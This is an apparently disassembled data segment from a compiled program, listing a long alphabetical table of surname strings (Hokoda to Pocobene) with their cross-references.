aHokoda		db 'Hokoda',0           ; DATA XREF: .nsp0:00445BACo
		align 4
aHolmes		db 'Holmes',0           ; DATA XREF: .nsp0:00445BB0o
		align 10h
aHoloien	db 'Holoien',0          ; DATA XREF: .nsp0:00445BB4o
aHolter		db 'Holter',0           ; DATA XREF: .nsp0:00445BB8o
		align 10h
aHolway		db 'Holway',0           ; DATA XREF: .nsp0:00445BBCo
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .nsp0:00445BC0o
aHooker_0	db 'Hooker',0           ; DATA XREF: .nsp0:00445BC4o
		align 4
aHopkins	db 'Hopkins',0          ; DATA XREF: .nsp0:00445BC8o
aHorsley	db 'Horsley',0          ; DATA XREF: .nsp0:00445BCCo
aHoshida	db 'Hoshida',0          ; DATA XREF: .nsp0:00445BD0o
aHostage	db 'Hostage',0          ; DATA XREF: .nsp0:00445BD4o
aHottle		db 'Hottle',0           ; DATA XREF: .nsp0:00445BD8o
		align 10h
aHoward		db 'Howard',0           ; DATA XREF: .nsp0:00445BDCo
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .nsp0:00445BE0o
aHuey		db 'Huey',0             ; DATA XREF: .nsp0:00445BE4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .nsp0:00445BE8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: .nsp0:00445BECo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .nsp0:00445BF0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .nsp0:00445BF4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .nsp0:00445BF8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .nsp0:00445BFCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .nsp0:00445C00o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .nsp0:00445C04o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .nsp0:00445C08o
		align 4
aIgarashi	db 'Igarashi',0         ; DATA XREF: .nsp0:00445C0Co
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .nsp0:00445C10o
aInniss		db 'Inniss',0           ; DATA XREF: .nsp0:00445C14o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .nsp0:00445C18o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .nsp0:00445C1Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .nsp0:00445C20o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: .nsp0:00445C24o
		align 4
aIyer		db 'Iyer',0             ; DATA XREF: .nsp0:00445C28o
		align 4
aJacenko	db 'Jacenko',0          ; DATA XREF: .nsp0:00445C2Co
aJackson	db 'Jackson',0          ; DATA XREF: .nsp0:00445C30o
aJagers		db 'Jagers',0           ; DATA XREF: .nsp0:00445C34o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .nsp0:00445C38o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .nsp0:00445C3Co
		align 4
aJain		db 'Jain',0             ; DATA XREF: .nsp0:00445C40o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .nsp0:00445C44o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .nsp0:00445C48o
		align 4
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .nsp0:00445C4Co
		align 4
aJarrell	db 'Jarrell',0          ; DATA XREF: .nsp0:00445C50o
aJay		db 'Jay',0              ; DATA XREF: .nsp0:00445C54o
aJeffers	db 'Jeffers',0          ; DATA XREF: .nsp0:00445C58o
aJellis		db 'Jellis',0           ; DATA XREF: .nsp0:00445C5Co
		align 10h
aJenkins	db 'Jenkins',0          ; DATA XREF: .nsp0:00445C60o
aJespersen	db 'Jespersen',0        ; DATA XREF: .nsp0:00445C64o
		align 4
aJewett		db 'Jewett',0           ; DATA XREF: .nsp0:00445C68o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .nsp0:00445C6Co
aJohannsen	db 'Johannsen',0        ; DATA XREF: .nsp0:00445C70o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .nsp0:00445C74o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .nsp0:00445C78o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .nsp0:00445C7Co
		align 10h
aJucks		db 'Jucks',0            ; DATA XREF: .nsp0:00445C80o
		align 4
aJuliano	db 'Juliano',0          ; DATA XREF: .nsp0:00445C84o
aJulious	db 'Julious',0          ; DATA XREF: .nsp0:00445C88o
aKabbash	db 'Kabbash',0          ; DATA XREF: .nsp0:00445C8Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .nsp0:00445C90o
		align 4
aKafadar	db 'Kafadar',0          ; DATA XREF: .nsp0:00445C94o
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .nsp0:00445C98o
aKaligian	db 'Kaligian',0         ; DATA XREF: .nsp0:00445C9Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .nsp0:00445CA0o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .nsp0:00445CA4o
		align 10h
aKalman		db 'Kalman',0           ; DATA XREF: .nsp0:00445CA8o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .nsp0:00445CACo
		align 10h
aKangis		db 'Kangis',0           ; DATA XREF: .nsp0:00445CB0o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .nsp0:00445CB4o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .nsp0:00445CB8o
		align 10h
aKasten		db 'Kasten',0           ; DATA XREF: .nsp0:00445CBCo
		align 4
aKawachi	db 'Kawachi',0          ; DATA XREF: .nsp0:00445CC0o
aKee		db 'Kee',0              ; DATA XREF: .nsp0:00445CC4o
aKeenan		db 'Keenan',0           ; DATA XREF: .nsp0:00445CC8o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .nsp0:00445CCCo
aKeith		db 'Keith',0            ; DATA XREF: .nsp0:00445CD0o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .nsp0:00445CD4o
		align 4
aKelsey		db 'Kelsey',0           ; DATA XREF: .nsp0:00445CD8o
		align 4
aKempton	db 'Kempton',0          ; DATA XREF: .nsp0:00445CDCo
aKemsley	db 'Kemsley',0          ; DATA XREF: .nsp0:00445CE0o
aKendall	db 'Kendall',0          ; DATA XREF: .nsp0:00445CE4o
aKerry_0	db 'Kerry',0            ; DATA XREF: .nsp0:00445CE8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .nsp0:00445CECo
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .nsp0:00445CF0o
		align 4
aKimmel		db 'Kimmel',0           ; DATA XREF: .nsp0:00445CF4o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .nsp0:00445CF8o
aKimura		db 'Kimura',0           ; DATA XREF: .nsp0:00445CFCo
		align 4
aKindall	db 'Kindall',0          ; DATA XREF: .nsp0:00445D00o
aKinsley	db 'Kinsley',0          ; DATA XREF: .nsp0:00445D04o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .nsp0:00445D08o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .nsp0:00445D0Co
aKittridge	db 'Kittridge',0        ; DATA XREF: .nsp0:00445D10o
		align 4
aKleckner	db 'Kleckner',0         ; DATA XREF: .nsp0:00445D14o
		align 4
aKleiman	db 'Kleiman',0          ; DATA XREF: .nsp0:00445D18o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .nsp0:00445D1Co
aKlemperer	db 'Klemperer',0        ; DATA XREF: .nsp0:00445D20o
		align 4
aKling		db 'Kling',0            ; DATA XREF: .nsp0:00445D24o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .nsp0:00445D28o
aKlint		db 'Klint',0            ; DATA XREF: .nsp0:00445D2Co
		align 10h
aKnuff		db 'Knuff',0            ; DATA XREF: .nsp0:00445D30o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .nsp0:00445D34o
aKoch		db 'Koch',0             ; DATA XREF: .nsp0:00445D38o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .nsp0:00445D3Co
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .nsp0:00445D40o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .nsp0:00445D44o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .nsp0:00445D48o
		align 10h
aKonrad		db 'Konrad',0           ; DATA XREF: .nsp0:00445D4Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: .nsp0:00445D50o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: .nsp0:00445D54o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .nsp0:00445D58o
		align 4
aKovaks		db 'Kovaks',0           ; DATA XREF: .nsp0:00445D5Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .nsp0:00445D60o
aKrailo		db 'Krailo',0           ; DATA XREF: .nsp0:00445D64o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .nsp0:00445D68o
aKraus		db 'Kraus',0            ; DATA XREF: .nsp0:00445D6Co
		align 4
aKroemer	db 'Kroemer',0          ; DATA XREF: .nsp0:00445D70o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .nsp0:00445D74o
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .nsp0:00445D78o
aKumar		db 'Kumar',0            ; DATA XREF: .nsp0:00445D7Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .nsp0:00445D80o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .nsp0:00445D84o
		align 10h
aLa		db 'La',0               ; DATA XREF: .nsp0:00445D88o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .nsp0:00445D8Co
aLafler		db 'Lafler',0           ; DATA XREF: .nsp0:00445D90o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .nsp0:00445D94o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .nsp0:00445D98o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .nsp0:00445D9Co
		align 10h
aLankes		db 'Lankes',0           ; DATA XREF: .nsp0:00445DA0o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .nsp0:00445DA4o
		align 4
aLanzit		db 'Lanzit',0           ; DATA XREF: .nsp0:00445DA8o
		align 4
aLaserna	db 'Laserna',0          ; DATA XREF: .nsp0:00445DACo
aLashley	db 'Lashley',0          ; DATA XREF: .nsp0:00445DB0o
aLawless	db 'Lawless',0          ; DATA XREF: .nsp0:00445DB4o
aLecar		db 'Lecar',0            ; DATA XREF: .nsp0:00445DB8o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .nsp0:00445DBCo
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .nsp0:00445DC0o
		align 10h
aLeite		db 'Leite',0            ; DATA XREF: .nsp0:00445DC4o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .nsp0:00445DC8o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .nsp0:00445DCCo
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .nsp0:00445DD0o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .nsp0:00445DD4o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .nsp0:00445DD8o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .nsp0:00445DDCo
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .nsp0:00445DE0o
		align 4
aLight_0	db 'Light',0            ; DATA XREF: .nsp0:00445DE4o
		align 4
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .nsp0:00445DE8o
		align 4
aLim		db 'Lim',0              ; DATA XREF: .nsp0:00445DECo
aLinares	db 'Linares',0          ; DATA XREF: .nsp0:00445DF0o
aLinda_0	db 'Linda',0            ; DATA XREF: .nsp0:00445DF4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .nsp0:00445DF8o
		align 4
aLine_0		db 'Line',0             ; DATA XREF: .nsp0:00445DFCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .nsp0:00445E00o
aLinzee		db 'Linzee',0           ; DATA XREF: .nsp0:00445E04o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .nsp0:00445E08o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .nsp0:00445E0Co
		align 4
aLittle		db 'Little',0           ; DATA XREF: .nsp0:00445E10o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .nsp0:00445E14o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .nsp0:00445E18o
		align 10h
aLivi		db 'Livi',0             ; DATA XREF: .nsp0:00445E1Co
		align 4
aLivolsi	db 'Livolsi',0          ; DATA XREF: .nsp0:00445E20o
aLizardo	db 'Lizardo',0          ; DATA XREF: .nsp0:00445E24o
aLocatelli	db 'Locatelli',0        ; DATA XREF: .nsp0:00445E28o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .nsp0:00445E2Co
		align 10h
aLoss		db 'Loss',0             ; DATA XREF: .nsp0:00445E30o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .nsp0:00445E34o
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .nsp0:00445E38o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .nsp0:00445E3Co
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .nsp0:00445E40o
		align 4
aLucas		db 'Lucas',0            ; DATA XREF: .nsp0:00445E44o
		align 4
aLuciano	db 'Luciano',0          ; DATA XREF: .nsp0:00445E48o
aLuczkow	db 'Luczkow',0          ; DATA XREF: .nsp0:00445E4Co
aLuecke		db 'Luecke',0           ; DATA XREF: .nsp0:00445E50o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .nsp0:00445E54o
aLuoma		db 'Luoma',0            ; DATA XREF: .nsp0:00445E58o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .nsp0:00445E5Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .nsp0:00445E60o
		align 10h
aLuzader	db 'Luzader',0          ; DATA XREF: .nsp0:00445E64o
aMa		db 'Ma',0               ; DATA XREF: .nsp0:00445E68o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .nsp0:00445E6Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: .nsp0:00445E70o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .nsp0:00445E74o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: .nsp0:00445E78o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .nsp0:00445E7Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: .nsp0:00445E80o
		align 4
aMacy		db 'Macy',0             ; DATA XREF: .nsp0:00445E84o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: .nsp0:00445E88o
aMaggio		db 'Maggio',0           ; DATA XREF: .nsp0:00445E8Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: .nsp0:00445E90o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .nsp0:00445E94o
		align 4
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .nsp0:00445E98o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: .nsp0:00445E9Co
aMalatesta	db 'Malatesta',0        ; DATA XREF: .nsp0:00445EA0o
		align 10h
aMaller		db 'Maller',0           ; DATA XREF: .nsp0:00445EA4o
		align 4
aMalova		db 'Malova',0           ; DATA XREF: .nsp0:00445EA8o
		align 10h
aManalis	db 'Manalis',0          ; DATA XREF: .nsp0:00445EACo
aMandel		db 'Mandel',0           ; DATA XREF: .nsp0:00445EB0o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: .nsp0:00445EB4o
aMantovan	db 'Mantovan',0         ; DATA XREF: .nsp0:00445EB8o
		align 4
aMarch_0	db 'March',0            ; DATA XREF: .nsp0:00445EBCo
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .nsp0:00445EC0o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: .nsp0:00445EC4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .nsp0:00445EC8o
		align 10h
aMargetts	db 'Margetts',0         ; DATA XREF: .nsp0:00445ECCo
		align 4
aMarques	db 'Marques',0          ; DATA XREF: .nsp0:00445ED0o
aMartinez	db 'Martinez',0         ; DATA XREF: .nsp0:00445ED4o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: .nsp0:00445ED8o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: .nsp0:00445EDCo
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .nsp0:00445EE0o
		align 10h
aMass		db 'Mass',0             ; DATA XREF: .nsp0:00445EE4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .nsp0:00445EE8o
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .nsp0:00445EECo
		align 4
aMatsukata	db 'Matsukata',0        ; DATA XREF: .nsp0:00445EF0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .nsp0:00445EF4o
aMauzy		db 'Mauzy',0            ; DATA XREF: .nsp0:00445EF8o
		align 4
aMay_0		db 'May',0              ; DATA XREF: .nsp0:00445EFCo
aMazzali	db 'Mazzali',0          ; DATA XREF: .nsp0:00445F00o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .nsp0:00445F04o
		align 10h
aMcbride	db 'Mcbride',0          ; DATA XREF: .nsp0:00445F08o
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .nsp0:00445F0Co
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .nsp0:00445F10o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .nsp0:00445F14o
		align 4
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .nsp0:00445F18o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .nsp0:00445F1Co
aMcfadden	db 'McFadden',0         ; DATA XREF: .nsp0:00445F20o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .nsp0:00445F24o
		align 10h
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .nsp0:00445F28o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: .nsp0:00445F2Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .nsp0:00445F30o
		align 10h
aMckenna	db 'Mckenna',0          ; DATA XREF: .nsp0:00445F34o
aMclane		db 'Mclane',0           ; DATA XREF: .nsp0:00445F38o
		align 10h
aMclaren	db 'Mclaren',0          ; DATA XREF: .nsp0:00445F3Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .nsp0:00445F40o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .nsp0:00445F44o
aMeccariello	db 'Meccariello',0      ; DATA XREF: .nsp0:00445F48o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .nsp0:00445F4Co
		align 10h
aMenzies	db 'Menzies',0          ; DATA XREF: .nsp0:00445F50o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .nsp0:00445F54o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .nsp0:00445F58o
aMerminod	db 'Merminod',0         ; DATA XREF: .nsp0:00445F5Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .nsp0:00445F60o
aMerz		db 'Merz',0             ; DATA XREF: .nsp0:00445F64o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .nsp0:00445F68o
aMetropolis	db 'Metropolis',0       ; DATA XREF: .nsp0:00445F6Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: .nsp0:00445F70o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .nsp0:00445F74o
		align 10h
aMiddle		db 'Middle',0           ; DATA XREF: .nsp0:00445F78o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .nsp0:00445F7Co
		align 10h
aMills		db 'Mills',0            ; DATA XREF: .nsp0:00445F80o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .nsp0:00445F84o
		align 10h
aMini		db 'Mini',0             ; DATA XREF: .nsp0:00445F88o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .nsp0:00445F8Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .nsp0:00445F90o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .nsp0:00445F94o
aMittal		db 'Mittal',0           ; DATA XREF: .nsp0:00445F98o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .nsp0:00445F9Co
aModestino	db 'Modestino',0        ; DATA XREF: .nsp0:00445FA0o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .nsp0:00445FA4o
aMohr		db 'Mohr',0             ; DATA XREF: .nsp0:00445FA8o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .nsp0:00445FACo
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .nsp0:00445FB0o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .nsp0:00445FB4o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .nsp0:00445FB8o
		align 4
aMorani		db 'Morani',0           ; DATA XREF: .nsp0:00445FBCo
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .nsp0:00445FC0o
aMorrison	db 'Morrison',0         ; DATA XREF: .nsp0:00445FC4o
		align 10h
aMorrow		db 'Morrow',0           ; DATA XREF: .nsp0:00445FC8o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .nsp0:00445FCCo
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .nsp0:00445FD0o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .nsp0:00445FD4o
		align 4
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .nsp0:00445FD8o
		align 10h
aMotooka	db 'Motooka',0          ; DATA XREF: .nsp0:00445FDCo
aMudarri	db 'Mudarri',0          ; DATA XREF: .nsp0:00445FE0o
aMuello		db 'Muello',0           ; DATA XREF: .nsp0:00445FE4o
		align 4
aMugnai		db 'Mugnai',0           ; DATA XREF: .nsp0:00445FE8o
		align 10h
aMulkern	db 'Mulkern',0          ; DATA XREF: .nsp0:00445FECo
aMulroy		db 'Mulroy',0           ; DATA XREF: .nsp0:00445FF0o
		align 10h
aMumford	db 'Mumford',0          ; DATA XREF: .nsp0:00445FF4o
aMussachio	db 'Mussachio',0        ; DATA XREF: .nsp0:00445FF8o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .nsp0:00445FFCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .nsp0:00446000o
		align 4
aNardi		db 'Nardi',0            ; DATA XREF: .nsp0:00446004o
		align 10h
aNardone	db 'Nardone',0          ; DATA XREF: .nsp0:00446008o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .nsp0:0044600Co
aNayduch	db 'Nayduch',0          ; DATA XREF: .nsp0:00446010o
aNelson		db 'Nelson',0           ; DATA XREF: .nsp0:00446014o
		align 10h
aNenna		db 'Nenna',0            ; DATA XREF: .nsp0:00446018o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .nsp0:0044601Co
		align 10h
aNeuman		db 'Neuman',0           ; DATA XREF: .nsp0:00446020o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .nsp0:00446024o
aNewlin		db 'Newlin',0           ; DATA XREF: .nsp0:00446028o
		align 4
aNg		db 'Ng',0               ; DATA XREF: .nsp0:0044602Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .nsp0:00446030o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: .nsp0:00446034o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .nsp0:00446038o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .nsp0:0044603Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .nsp0:00446040o
		align 10h
aNotman		db 'Notman',0           ; DATA XREF: .nsp0:00446044o
		align 4
aNuzum		db 'Nuzum',0            ; DATA XREF: .nsp0:00446048o
		align 10h
aOcougne	db 'Ocougne',0          ; DATA XREF: .nsp0:0044604Co
aOgata		db 'Ogata',0            ; DATA XREF: .nsp0:00446050o
		align 10h
aOh		db 'Oh',0               ; DATA XREF: .nsp0:00446054o
		align 4
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .nsp0:00446058o
aOldford	db 'Oldford',0          ; DATA XREF: .nsp0:0044605Co
aOlsen		db 'Olsen',0            ; DATA XREF: .nsp0:00446060o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .nsp0:00446064o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .nsp0:00446068o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .nsp0:0044606Co
		align 4
aOman		db 'Oman',0             ; DATA XREF: .nsp0:00446070o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .nsp0:00446074o
aOpel		db 'Opel',0             ; DATA XREF: .nsp0:00446078o
		align 4
aOray		db 'Oray',0             ; DATA XREF: .nsp0:0044607Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .nsp0:00446080o
aOrsi		db 'Orsi',0             ; DATA XREF: .nsp0:00446084o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .nsp0:00446088o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .nsp0:0044608Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .nsp0:00446090o
		align 4
aOtten		db 'Otten',0            ; DATA XREF: .nsp0:00446094o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .nsp0:00446098o
aOvid		db 'Ovid',0             ; DATA XREF: .nsp0:0044609Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .nsp0:004460A0o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .nsp0:004460A4o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .nsp0:004460A8o
		align 4
aPalepu		db 'Palepu',0           ; DATA XREF: .nsp0:004460ACo
		align 10h
aPallara	db 'Pallara',0          ; DATA XREF: .nsp0:004460B0o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .nsp0:004460B4o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .nsp0:004460B8o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: .nsp0:004460BCo
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .nsp0:004460C0o
		align 4
aPaoletti	db 'Paoletti',0         ; DATA XREF: .nsp0:004460C4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .nsp0:004460C8o
aParris		db 'Parris',0           ; DATA XREF: .nsp0:004460CCo
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .nsp0:004460D0o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .nsp0:004460D4o
		align 10h
aPatefield	db 'Patefield',0        ; DATA XREF: .nsp0:004460D8o
		align 4
aPatrick_0	db 'Patrick',0          ; DATA XREF: .nsp0:004460DCo
aPattullo	db 'Pattullo',0         ; DATA XREF: .nsp0:004460E0o
		align 10h
aPavetti	db 'Pavetti',0          ; DATA XREF: .nsp0:004460E4o
aPavlon		db 'Pavlon',0           ; DATA XREF: .nsp0:004460E8o
		align 10h
aPawloski	db 'Pawloski',0         ; DATA XREF: .nsp0:004460ECo
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: .nsp0:004460F0o
aPeabody	db 'Peabody',0          ; DATA XREF: .nsp0:004460F4o
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .nsp0:004460F8o
		align 4
aPederson	db 'Pederson',0         ; DATA XREF: .nsp0:004460FCo
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .nsp0:00446100o
aPenny		db 'Penny',0            ; DATA XREF: .nsp0:00446104o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .nsp0:00446108o
aPerko		db 'Perko',0            ; DATA XREF: .nsp0:0044610Co
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: .nsp0:00446110o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .nsp0:00446114o
aPerna		db 'Perna',0            ; DATA XREF: .nsp0:00446118o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .nsp0:0044611Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .nsp0:00446120o
		align 10h
aPeters		db 'Peters',0           ; DATA XREF: .nsp0:00446124o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .nsp0:00446128o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .nsp0:0044612Co
		align 10h
aPettit		db 'Pettit',0           ; DATA XREF: .nsp0:00446130o
		align 4
aPfister	db 'Pfister',0          ; DATA XREF: .nsp0:00446134o
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .nsp0:00446138o
aPinot		db 'Pinot',0            ; DATA XREF: .nsp0:0044613Co
		align 10h
aPlancon	db 'Plancon',0          ; DATA XREF: .nsp0:00446140o
aPlant		db 'Plant',0            ; DATA XREF: .nsp0:00446144o
		align 10h
aPlasket	db 'Plasket',0          ; DATA XREF: .nsp0:00446148o
aPlous		db 'Plous',0            ; DATA XREF: .nsp0:0044614Co
		align 10h
aPo		db 'Po',0               ; DATA XREF: .nsp0:00446150o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .nsp0:00446154o
		align 10h
